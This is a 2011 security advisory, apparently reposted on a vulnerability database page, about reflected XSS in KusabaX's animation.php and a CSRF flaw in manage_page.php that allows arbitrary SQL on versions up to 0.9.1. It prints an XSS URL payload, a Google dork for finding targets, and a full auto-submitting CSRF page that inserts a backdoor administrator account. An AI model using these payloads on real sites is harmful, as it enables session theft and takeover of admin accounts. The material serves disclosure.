kusaba x <= 0.9.1 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
KusabaX 0.9.1 XSS and CSRF Vulnerabilitie

                                                #######################################################
#         KusabaX XSS and CSRF Vulnerabilites         #
#######################################################
# Product: KusabaX and various Futaba channels clone
# Vendor site: http://kusabax.cultnet.net/
# Affected versions: KusabaX &#60;= 0.9.1
# Product description: an imageboard is a web application written in PHP used in sites 
# like 4chan as an anonymous bullettin board based on image sharing. 
# Author: Emilio Pinna - ncl 01 _at_ email _dot_ it
# Blog site: http://thissecting.wordpress.com
# Date: 27/04/2011

#######################################################
#     Cross Site Scripting in &#39;animation.php&#39;         #
#######################################################
# Vulnerable page: animation.php
# Google dork: allinurl: animation.php board id

File &#34;animation.php&#34; suffer from XSS vulnerabilities in line 47:

#-----------------------------------------------------#
&#60;param name=&#34;pch_file&#34; value=&#34;&#60;?php echo KU_BOARDSPATH . &#39;/&#39; . $_GET[&#39;board&#39;] . &#39;/src/&#39; . $_GET[&#39;id&#39;] . &#39;.pch&#39;; ?&#62;&#34;&#62;
#-----------------------------------------------------#

Attackers can exploit these weaknesses to execute arbitrary HTML and script code 
in a user&#39;s browser session that visit resulting in a cookie stealing and bypass of admin 
access controls.

#-----------------------------------------------------#
http://localhost/kusabax/animation.php?board=b&id=1&#34;&#62;&#60;script&#62;alert(&#39;XSS&#39;)&#60;/script&#62;&#60;&#34;
#-----------------------------------------------------#




########################################################
#   Arbitrary SQL statements execution through CSRF    #
########################################################
# Vulnerable page: manage_page.php

The vulnerability permit to execute SQL commands through &#39;SQL query&#39; section of Administrator Panel. 
This flaw exists due to failure in the &#39;manage_page.php&#39; script to verify the source of HTTP request 
with anti CRSF tokens or referrer check. This bug flaw was reported in 2010 for older versions 
(http://tinyurl.com/5wdrmy6), but never totally fixed. The following example adds an administrator 
account with login &#39;new_admin&#39; and password &#39;admin&#39; encrypted with &#39;TMC&#39; as salt.

#-----------------------------------------------------#
INSERT INTO staff VALUES (1331, &#39;new_admin&#39;, &#39;6a9685fcb53b90f0ca9a1c72d7fa31d2&#39;, &#39;TMC&#39;, 1, NULL, 1303904817, 1303908333)
#-----------------------------------------------------#


The attacker must lure a logged user with Administrator privilege to a web page with malicious code similar to the 
following PHP script.

#--------- File: manage_page_sql_crsf.html -----------#
&#60;html&#62;
&#60;body&#62;
&#60;iframe style=&#34;width: 1px; height: 1px; visibility: hidden&#34; name=&#34;hidden&#34;&#62;&#60;/iframe&#62;
  &#60;form method=&#34;post&#34; name=&#34;sender&#34; action=&#34;http://localhost/kusabax/manage_page.php?action=sql&#34; target=&#34;hidden&#34;&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;query&#34; value=&#34;insert into staff values (1331, &#39;new_admin&#39;, &#39;6a9685fcb53b90f0ca9a1c72d7fa31d2&#39;, &#39;TMC&#39;, 1, NULL, 1303904817, 1303908333)&#34;&#62;
  &#60;/form&#62;
&#60;/body&#62;
&#60;script&#62;document.sender.submit(); &#60;/script&#62;
&#60;/html&#62;
#-----------------------------------------------------#

# Disclosure:
# 27/04/2011 Reported to KusabaX developers and fixed immediatly with version 0.9.2.
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1